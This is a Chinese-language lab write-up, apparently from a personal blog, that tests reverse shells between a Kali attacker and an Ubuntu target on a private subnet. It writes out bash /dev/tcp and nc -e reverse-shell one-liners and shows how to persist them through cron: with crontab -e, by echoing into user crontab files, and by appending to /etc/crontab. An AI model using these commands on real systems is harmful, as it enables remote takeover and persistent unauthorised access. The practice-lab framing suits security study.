反弹shell与计划任务
关于在kali和Ubuntu测试反弹shell和利用计划任务进行反弹shell~~
00x0 前言
不知道为什么我之前练习的靶场中关于反弹shell,都是不成功,找了很多原因,很头疼。觉得还是要从根源找原因,然后认真的记录了一下关于反弹shell和利用计划任务进行反弹shell的原理。用centos作为靶机环境没那么麻烦,但我用的Ubuntu,问就是不想再下个centos的镜像了呜呜呜。
00x1反弹shell
对于正向连接和反弹shell,我浅显地理解为:
正向连接:先在靶机上监听端口,或者靶机上开放了某个特殊端口,然后在攻击机上进行连接利用。
反向连接:先在攻击机上监听端口,然后在靶机上发送请求命令到攻击机,使靶机的命令行反弹到攻击机中。
kali:192.168.25.128
Ubuntu:192.168.25.129
1、bash反弹
kali作为攻击机,Ubuntu作为靶机
(1) 先在kali上监听端口
1 | nc -lvnp 9999 |
(2)在Ubuntu上输入反弹shell命令
1 | bash -i >& /dev/tcp/192.168.25.128/9999 0>&1 |

2、nc反弹
因为这里Ubuntu不能使用nc -e命令,所以将kali作为靶机,Ubuntu作为攻击机。
(1)Ubuntu上监听9999端口
1 | nc -lvnp 9999 |
(2)kali靶机执行命令将自己终端送出去
1 | nc -e /bin/bash 192.168.25.129 9999 |

00x2 计划任务
1、crontab命令格式
crontab的命令构成为时间+动作,格式:* * * * * xxx,这里的*就代表一个时间维度的划分(时间维度依次是分、时、日、月、周这五种),xxx代表动作。
1 | 例如:*/1 * * * * bash -i >& dev/tcp/192.168.25.128/9999 0>&1 就表示在一分钟内执行后面的命令。 |
2、计划任务目录
1 | 系统级的计划任务目录:/etc/crontab |
3、crontab常用命令及参数
1 | crontab -e #编辑计划任务 |
00x3 利用计划任务反弹shell
kali:192.168.25.128
Ubuntu:192.168.25.129
centos计划任务目录:/var/spool/cron/
ubuntu计划任务目录:/var/spool/cron/crontabs/
系统级计划任务目录:/etc/crontabS
记得先在攻击机kali上监听端口!!!
1、方法一:使用crontab -e写入命令
这种方式,就是利用crontab -e命令,写入计划任务。实际上就是会自动在计划任务目录下创建了一个以当前用户名为名称的文件,文件的内容就是前面写入的计划任务。
(1)在kali监听端口23333
1 | nc -lvnp 23333 |
(2)在Ubuntu上输入crontab -e,这里选择2号编辑器,写入命令并保存
1 | centos输入以下命令: |

(3)使用crontab -l命令,可以列出计划任务

在ubuntu的计划任务目录/var/spool/cron/crontabs下多了一个root文件。该文件下的内容就是之前写入的反弹shell内容。这里我是使用的root用户写入的计划任务,所以生成的是以root为名称的文件,当使用其他普通用户创建时,生成的则是以其他用户命名的文件名称。

(4)成功反弹shell

2、方法二:使用echo写入文件到用户级的计划任务
使用echo命令直接写入反弹shell命令到计划任务目录中的文件中。其中,可以将反弹shell先写入一个sh文件(注意这里的sh文件要赋予执行权限),然后再执行echo命令。使用echo重定向生成的root目录或其他用户名的目录在Ubuntu系统中要改权限为600。
重定向符>与>>区别:
1)echo ‘xxx’ > 2.txt(就是将xxx的内容重定向到2.txt中,使用重定向符>表示如果2.txt不存在则会创建,如果存在,会覆盖2.txt之前的内容。)
2)echo ‘xxx’ >> 2.txt (同样是将1.txt的内容重定向到2.txt中,使用重定向符>>表示如果2.txt不存在则创建,如果存在,会将1.txt的内容添加到2.txt原来内容的后面,不会覆盖。所以写入到系统级计划任务最好使用>>重定向符,避免覆盖之前的内容。)
(1)先在kali监听端口22222
1 | nc -lvnp 22222 |
(2)直接在靶机上输入如下命令
1 | centos: |
或者
先在tmp目录下创建一个sh文件,这里创建111.sh,并写入以下内容:
1 | bash -c "bash -i >& /dev/tcp/192.168.25.128/11111 0>&1" |
这里也要注意,这个111.sh要赋予执行权限,chmod +x 111.sh才行!
然后使用echo命令:
1 | echo "*/1 * * * * /tmp/111.sh" > /var/spool/cron/crontabs/root |

其中的root,根据方法一可知,可以替换为其他用户的名称。
(3)使用crontab -l查看计划任务是否写入成功

(4)反弹shell成功
到这里,centos应该反弹成功了,但是,Ubuntu还不行。使用echo创建的root文件权限默认为644,而计划任务的root文件权限必须为600。
1 | 所以先改权限为600:chmod 600 root |

反弹shell成功:

3、方法三:echo写入文件到系统级的计划任务
这里跟写入到用户级的差不多,只是在计划任务处需要添加用户名,而且是直接写入到系统级计划任务目录/etc/crontab中,所以记得使用>>重定向符。也可以同样先创建sh文件并赋予执行权限后,使用echo命令写入到计划任务中。
(1)先在kali监听端口33333
1 | nc -lvnp 33333 |
(2)直接在靶机上输入如下命令
1 | centos: |

或者
先在tmp目录下创建一个sh文件,这里创建222.sh,并写入以下内容:
1 | bash -c "bash -i >& /dev/tcp/192.168.25.128/33333 0>&1" |
这里也要注意,这个222.sh要赋予执行权限,chmod +x /tmp/222.sh才行!
然后使用echo命令:
1 | echo "*/1 * * * * root /tmp/222.sh" >> /etc/crontab |

(3)反弹shell成功
